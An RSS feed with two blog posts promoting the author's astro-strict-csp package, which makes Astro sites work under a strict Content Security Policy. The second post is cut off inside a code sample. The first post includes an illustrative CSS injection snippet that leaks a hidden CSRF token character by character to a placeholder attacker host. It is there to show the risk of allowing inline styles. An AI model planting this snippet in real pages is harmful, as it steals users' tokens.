<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Evgenii Zinner</title>
    <description>The latest articles on DEV Community by Evgenii Zinner (@evgenii_zinner).</description>
    <link>https://dev.to/evgenii_zinner</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1903224%2F3c77445f-e972-493c-a96a-e4962b3c7bb2.jpg</url>
      <title>DEV Community: Evgenii Zinner</title>
      <link>https://dev.to/evgenii_zinner</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/evgenii_zinner"/>
    <language>en</language>
    <item>
      <title>Why Astro's Native `security.csp` Breaks on Shiki</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Thu, 29 Oct 2026 22:07:07 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/why-astros-native-securitycsp-breaks-on-shiki-2ai9</link>
      <guid>https://dev.to/evgenii_zinner/why-astros-native-securitycsp-breaks-on-shiki-2ai9</guid>
      <description>&lt;p&gt;Whenever I mention my &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/a&gt; package, the first question developers usually ask is: &lt;em&gt;"Wait, doesn't Astro already have built-in &lt;code&gt;security.csp&lt;/code&gt; in &lt;code&gt;astro.config.mjs&lt;/code&gt;?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It does—and Astro's native &lt;code&gt;security.csp&lt;/code&gt; is actually the exact reason I still needed to build &lt;code&gt;astro-strict-csp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you enable Astro's built-in CSP on a real project that uses Markdown code blocks, &lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt; components, or UI islands, your pages immediately break or flood the browser console with Content Security Policy violations. When you check the official Astro documentation for how to fix it, the recommended workarounds are either &lt;strong&gt;switching your syntax highlighter from Shiki to Prism&lt;/strong&gt;, or &lt;strong&gt;adding &lt;code&gt;'unsafe-inline'&lt;/code&gt; to &lt;code&gt;style-src&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here is why Astro's native CSP hits that wall, why switching from Shiki to Prism is a painful downgrade for a technical blog, and how extracting inline styles at build time solves both problems cleanly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Native &lt;code&gt;security.csp&lt;/code&gt; Stops at Inline Styles
&lt;/h2&gt;

&lt;p&gt;Astro's built-in &lt;code&gt;security.csp&lt;/code&gt; does a fine job computing hashes for &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags and client hydration shims. Where it runs into a wall is &lt;strong&gt;inline &lt;code&gt;style="..."&lt;/code&gt; attributes&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To be fair to the Astro team, this limitation comes directly from the W3C Content Security Policy specification itself:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Browsers only allow CSP hashes and nonces on &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; blocks:&lt;/strong&gt; You can whitelist &lt;code&gt;&amp;lt;style&amp;gt;body { color: red; }&amp;lt;/style&amp;gt;&lt;/code&gt; with a SHA-256 hash or a nonce, but the W3C spec does not allow hashing or noncing an inline HTML attribute like &lt;code&gt;&amp;lt;span style="color: #F97583"&amp;gt;&lt;/code&gt; (unless you enable &lt;code&gt;'unsafe-hashes'&lt;/code&gt; and individually list the hash of every unique attribute string in your HTTP header, which would blow past server header size limits on a single code-heavy page).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Astro emits thousands of inline &lt;code&gt;style="..."&lt;/code&gt; attributes by default:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shiki&lt;/strong&gt; (Astro's default syntax highlighter) colors every single code token using inline &lt;code&gt;&amp;lt;span style="color: #..."&amp;gt;&lt;/code&gt; attributes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Astro &lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt;&lt;/strong&gt; injects inline layout and aspect-ratio styles.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UI Islands&lt;/strong&gt; (React, Vue, Svelte, Preact) and SVGs frequently emit inline style attributes during server-side rendering.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because Astro's native CSP pipeline doesn't rewrite HTML attributes into external stylesheets, turning on &lt;code&gt;security.csp&lt;/code&gt; leaves you with two official options: add &lt;code&gt;'unsafe-inline'&lt;/code&gt; to your &lt;code&gt;style-src&lt;/code&gt; policy (which disqualifies you from an &lt;code&gt;A+&lt;/code&gt; on Mozilla HTTP Observatory and triggers warnings in strict security audits), or ditch Shiki for Prism.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Leaving &lt;code&gt;'unsafe-inline'&lt;/code&gt; in &lt;code&gt;style-src&lt;/code&gt; Actually Matters
&lt;/h2&gt;

&lt;p&gt;To be realistic: if you run a static personal blog with zero logins, zero forms, and no user data, skipping CSP won't get you hacked tomorrow. &lt;/p&gt;

&lt;p&gt;However, as soon as an Astro project includes authentication, forms, a headless CMS with rich-text HTML blocks (like EmDash), payment pages, or third-party scripts, leaving &lt;code&gt;'unsafe-inline'&lt;/code&gt; open—even just for styles—creates real problems.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. CSS Alone Can Leak Server-Rendered Tokens (&lt;code&gt;style-src 'unsafe-inline'&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;A lot of developers assume that as long as inline JavaScript is blocked (&lt;code&gt;script-src 'self'&lt;/code&gt;), allowing &lt;code&gt;'unsafe-inline'&lt;/code&gt; inside &lt;code&gt;style-src&lt;/code&gt; is harmless because CSS only controls colors and fonts.&lt;/p&gt;

&lt;p&gt;While CSS cannot read live keystrokes inside a standard password field unless a framework mirrors them into the DOM attribute, injected CSS &lt;em&gt;can&lt;/em&gt; read secrets that the server renders into HTML attributes—like hidden CSRF inputs (&lt;code&gt;&amp;lt;input type="hidden" name="csrf_token" value="..."&amp;gt;&lt;/code&gt;) or pre-filled profile fields. If your site allows external images (&lt;code&gt;img-src https:&lt;/code&gt;), an injected style can brute-force those attributes character by character using standard CSS prefix selectors (&lt;code&gt;^=&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="c"&gt;/* If the hidden CSRF token starts with 'a', the browser requests the attacker's URL */&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"csrf_token"&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s1"&gt;"a"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;"https://attacker.example/leak?char=a"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;input&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;"csrf_token"&lt;/span&gt;&lt;span class="o"&gt;][&lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;^=&lt;/span&gt;&lt;span class="s1"&gt;"b"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background-image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;"https://attacker.example/leak?char=b"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the browser paints the page, it evaluates the matching selector and fires off a network request for the background image. And even without data exfiltration, style injection lets an attacker redress the UI—hiding security warnings or floating fake payment links over real buttons.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Supply Chain Attacks and Subresource Integrity (&lt;code&gt;polyfill.io&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;When the &lt;code&gt;polyfill.io&lt;/code&gt; CDN domain was bought by a malicious operator in 2024, over 100,000 websites embedding scripts from it started silently redirecting visitors to scam and betting sites.&lt;/p&gt;

&lt;p&gt;Sites relying on plain script tags executed the modified payload immediately. Sites enforcing strict CSP paired with cryptographic Subresource Integrity (&lt;code&gt;integrity="sha384-..."&lt;/code&gt;) blocked the file at the network layer the moment the file hash changed. And when someone inevitably makes a mistake in a CMS rich-text block or a DOM utility that reads &lt;code&gt;window.location.hash&lt;/code&gt;, a strict policy turns a reflected XSS exploit into a harmless console error (&lt;code&gt;Refused to execute inline script&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Enterprise Procurement, Mozilla Observatory, and PCI-DSS 4.0
&lt;/h3&gt;

&lt;p&gt;Even if you aren't worried about clever CSS selectors, security auditors and enterprise buyers check these headers mechanically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PCI-DSS 4.0 (Sections 6.4.3 and 11.6.1):&lt;/strong&gt; E-commerce and checkout pages are explicitly required to verify the authorization and integrity of all scripts running in the customer's browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner Grades &amp;amp; Vendor Reviews:&lt;/strong&gt; When a SaaS team sells to a larger company, the buyer's security team runs Mozilla HTTP Observatory or Google CSP Evaluator against the domain. Putting &lt;code&gt;'unsafe-inline'&lt;/code&gt; in &lt;code&gt;script-src&lt;/code&gt; drops your Observatory grade straight to a C/D, and leaving &lt;code&gt;'unsafe-inline'&lt;/code&gt; inside &lt;code&gt;style-src&lt;/code&gt; triggers the &lt;code&gt;csp-implemented-with-unsafe-inline-in-style-src-only&lt;/code&gt; finding—blocking the extra-credit bonus required to reach an &lt;strong&gt;A+&lt;/strong&gt; and leaving warnings on the audit report.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Why Switching from Shiki to Prism Hurts
&lt;/h2&gt;

&lt;p&gt;When I first read the suggestion to replace Shiki with Prism just to satisfy CSP headers, I looked into what that switch actually costs.&lt;/p&gt;

&lt;p&gt;Prism was great when it came out over a decade ago, because it outputs generic CSS classes (&lt;code&gt;&amp;lt;span class="token keyword"&amp;gt;&lt;/code&gt;) that you style with a single static &lt;code&gt;.css&lt;/code&gt; file. However, Astro made &lt;strong&gt;Shiki&lt;/strong&gt; the default highlighter for three very good reasons:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. VS Code AST Grammars vs. Regex Guessing
&lt;/h3&gt;

&lt;p&gt;Shiki runs the exact same TextMate grammar engine that powers VS Code. It understands nested TypeScript generics (&lt;code&gt;&amp;lt;T extends Record&amp;lt;string, unknown&amp;gt;&amp;gt;&lt;/code&gt;), JSX components inside ternary expressions, template literals, and modern languages like Rust, Zig, and Gleam without losing track of the syntax tree.&lt;/p&gt;

&lt;p&gt;Prism relies on regular expressions. On modern TypeScript or TSX snippets, regex tokenization regularly confuses generic brackets with HTML tags, miscolors nested string interpolations, and flattens everything into a handful of coarse &lt;code&gt;.token.operator&lt;/code&gt; or &lt;code&gt;.token.punctuation&lt;/code&gt; classes.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. True 24-Bit VS Code Themes vs. Flat 16-Color Sheets
&lt;/h3&gt;

&lt;p&gt;Because Shiki resolves every token against real VS Code theme files (GitHub Dark, Catppuccin, Tokyo Night, One Dark Pro) at build time, it distinguishes between a function declaration, a function call, a type parameter, and a property access—baking the exact hex color into each &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"color: #F97583"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;import&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"color: #79B8FF"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;defineConfig&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It also supports dual light/dark mode themes natively using CSS custom properties on those spans. With Prism, you give up VS Code themes completely and have to maintain separate, coarse 16-color stylesheets for light and dark mode by hand.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Build-Time vs. Client-Side Payload
&lt;/h3&gt;

&lt;p&gt;In a pure static Astro build, both Shiki and Prism can run at build time with zero client-side JavaScript. However, if you use a CMS or render dynamic Markdown previews on the client, running Prism in the browser means shipping the Prism JS runtime and grammar bundles to the visitor's device and running regex passes on the DOM after page load—introducing layout shifts and extra payload that Shiki's pre-rendered HTML avoids completely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Keeping Shiki &lt;em&gt;and&lt;/em&gt; Strict CSP
&lt;/h2&gt;

&lt;p&gt;I didn't want to downgrade my code blocks to Prism, and I didn't want &lt;code&gt;'unsafe-inline'&lt;/code&gt; in my security headers.&lt;/p&gt;

&lt;p&gt;The way &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/a&gt; solves this is by letting Shiki, &lt;code&gt;&amp;lt;Image /&amp;gt;&lt;/code&gt;, and your UI components emit all the inline &lt;code&gt;style="..."&lt;/code&gt; attributes they want during the Astro build, and then cleaning them up during the &lt;code&gt;astro:build:done&lt;/code&gt; hook:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Deduplicated Utility Classes:&lt;/strong&gt; It scans the generated HTML, extracts every &lt;code&gt;style="color: #F97583"&lt;/code&gt; attribute, hashes the normalized CSS rule into a short deterministic class (&lt;code&gt;.is-7f3b1a&lt;/code&gt;), and replaces the inline &lt;code&gt;style&lt;/code&gt; attribute with that class.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One Tiny External Stylesheet:&lt;/strong&gt; Across an entire site, tens of thousands of Shiki token spans only use a few dozen unique hex colors. All of them collapse into a single ~3 kB external stylesheet (&lt;code&gt;/_astro/inline-styles.css&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Full SRI &amp;amp; Header Generation:&lt;/strong&gt; Every script and stylesheet gets a &lt;code&gt;sha384&lt;/code&gt; Subresource Integrity hash, inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks and &lt;code&gt;onclick&lt;/code&gt; handlers are compiled into external &lt;code&gt;.js&lt;/code&gt; bundles, and both &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; policies and Cloudflare/Netlify &lt;code&gt;dist/_headers&lt;/code&gt; are generated with zero &lt;code&gt;'unsafe-inline'&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Capability&lt;/th&gt;
&lt;th&gt;Astro Native &lt;code&gt;security.csp&lt;/code&gt;
&lt;/th&gt;
&lt;th&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inline &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; handling&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hashes / &lt;code&gt;strict-dynamic&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Extracts to external &lt;code&gt;.js&lt;/code&gt; files + SHA-384 SRI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inline &lt;code&gt;style="..."&lt;/code&gt; attributes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not supported (requires &lt;code&gt;'unsafe-inline'&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Extracts into deduplicated &lt;code&gt;.is-[hash]&lt;/code&gt; classes in external &lt;code&gt;.css&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Works with Shiki out of the box&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No (requires switching to Prism or &lt;code&gt;'unsafe-inline'&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Yes (keeps Shiki + &lt;code&gt;style-src 'self'&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inline &lt;code&gt;onclick&lt;/code&gt; / event attributes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Blocked by strict CSP&lt;/td&gt;
&lt;td&gt;Compiled to delegated &lt;code&gt;data-csp-on-*&lt;/code&gt; bundles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Subresource Integrity (SRI)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Partial / adapter-dependent&lt;/td&gt;
&lt;td&gt;Automatic &lt;code&gt;sha384&lt;/code&gt; hashes on all local JS and CSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloudflare Pages / Netlify &lt;code&gt;_headers&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adapter-dependent&lt;/td&gt;
&lt;td&gt;Generates &lt;code&gt;dist/_headers&lt;/code&gt; automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you hit the Shiki wall when turning on Astro's native CSP, you can drop &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/a&gt; into &lt;code&gt;astro.config.mjs&lt;/code&gt; and keep your VS Code syntax highlighting alongside a clean &lt;code&gt;style-src 'self'&lt;/code&gt; policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;astro-strict-csp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;npm:&lt;/strong&gt; &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;npmjs.com/package/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp" rel="noopener noreferrer"&gt;github.com/Evgenii-Zinner/astro-strict-csp&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>astro</category>
    </item>
    <item>
      <title>Compiling Inline Event Handlers (onclick) for Strict CSP in Astro (astro-strict-csp v0.2.0)</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Mon, 19 Oct 2026 06:50:50 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/compiling-inline-event-handlers-onclick-for-strict-csp-in-astro-astro-strict-csp-v020-4k9d</link>
      <guid>https://dev.to/evgenii_zinner/compiling-inline-event-handlers-onclick-for-strict-csp-in-astro-astro-strict-csp-v020-4k9d</guid>
      <description>&lt;p&gt;Right after publishing &lt;code&gt;v0.1.3&lt;/code&gt; of &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;astro-strict-csp&lt;/a&gt; to handle Shiki inline styles and &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; theme scripts, I remembered another annoying CSP workaround sitting in my own website's codebase: &lt;strong&gt;inline event attributes&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When you enforce a strict Content Security Policy (&lt;code&gt;script-src 'self'&lt;/code&gt; with zero &lt;code&gt;'unsafe-inline'&lt;/code&gt;), browsers don't just block &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; blocks—they also ruthlessly block every inline DOM event attribute like &lt;code&gt;onclick&lt;/code&gt;, &lt;code&gt;onmouseenter&lt;/code&gt;, or &lt;code&gt;onsubmit&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;If you want a simple &lt;code&gt;&amp;lt;button onclick="window.print()"&amp;gt;&lt;/code&gt; in a template or markdown file, strict CSP forces you to give it an ID, open a separate &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, query the selector, and attach an &lt;code&gt;addEventListener&lt;/code&gt;. It’s tedious boilerplate that ruins the joy of writing simple HTML.&lt;/p&gt;

&lt;p&gt;Since the whole point of building &lt;code&gt;astro-strict-csp&lt;/code&gt; was to stop thinking about security workarounds across my projects, I moved this fix into the package and shipped &lt;strong&gt;v0.2.0&lt;/strong&gt;. Now I can write lazy inline &lt;code&gt;onclick&lt;/code&gt; attributes whenever I want and let the compiler turn them into strict-CSP-compliant, SRI-hashed bundles at build time.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The Build-Time Transformation: Zero &lt;code&gt;'unsafe-inline'&lt;/code&gt; Without Rewriting HTML
&lt;/h3&gt;

&lt;p&gt;Instead of forcing you to refactor components or weaken your policy with &lt;code&gt;'unsafe-hashes'&lt;/code&gt;, &lt;code&gt;astro-strict-csp&lt;/code&gt; extracts inline event handlers during &lt;code&gt;astro:build:done&lt;/code&gt; and rewrites them into &lt;code&gt;data-csp-on-*&lt;/code&gt; attributes.&lt;/p&gt;

&lt;h4&gt;
  
  
  What you write in your Astro template or Markdown:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"window.print()"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Print Recipe&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="na"&gt;onclick=&lt;/span&gt;&lt;span class="s"&gt;"copyLink(this); return false;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Share&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  What actually ships in production HTML:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;data-csp-on-click=&lt;/span&gt;&lt;span class="s"&gt;"evt-a1b2c3"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Print Recipe&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt; &lt;span class="na"&gt;data-csp-on-click=&lt;/span&gt;&lt;span class="s"&gt;"evt-d4e5f6"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Share&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Automatically hashed by the SHA-384 SRI pipeline --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"module"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/_astro/events-8f92a1.js"&lt;/span&gt; &lt;span class="na"&gt;integrity=&lt;/span&gt;&lt;span class="s"&gt;"sha384-..."&lt;/span&gt; &lt;span class="na"&gt;crossorigin=&lt;/span&gt;&lt;span class="s"&gt;"anonymous"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because the event extraction step runs right before the Subresource Integrity (SRI) stage in our single-pass in-memory pipeline, the generated &lt;code&gt;/_astro/events-[hash].js&lt;/code&gt; bundle automatically gets a cryptographic &lt;code&gt;sha384&lt;/code&gt; integrity hash and is whitelisted in your Content Security Policy.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. The Runtime Engine: Preserving Native Browser Semantics
&lt;/h3&gt;

&lt;p&gt;Extracting the string inside &lt;code&gt;onclick="..."&lt;/code&gt; into an external file is harder than it looks because browsers give inline event attributes very specific execution semantics that standard &lt;code&gt;addEventListener&lt;/code&gt; callbacks don't have out of the box:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;this&lt;/code&gt; Binding:&lt;/strong&gt; Inside &lt;code&gt;onclick="copyLink(this)"&lt;/code&gt;, &lt;code&gt;this&lt;/code&gt; refers to the DOM element itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Implicit &lt;code&gt;event&lt;/code&gt; Argument:&lt;/strong&gt; Inline handlers have access to a local &lt;code&gt;event&lt;/code&gt; variable without declaring it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;return false&lt;/code&gt; Behavior:&lt;/strong&gt; Returning &lt;code&gt;false&lt;/code&gt; from an inline handler automatically calls &lt;code&gt;event.preventDefault()&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To mirror native browser behavior without attaching hundreds of individual listeners across the DOM, &lt;code&gt;astro-strict-csp&lt;/code&gt; generates a single delegated dispatcher:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Generated in /_astro/events-[hash].js&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;HANDLERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;evt-a1b2c3&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;evt-d4e5f6&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;copyLink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

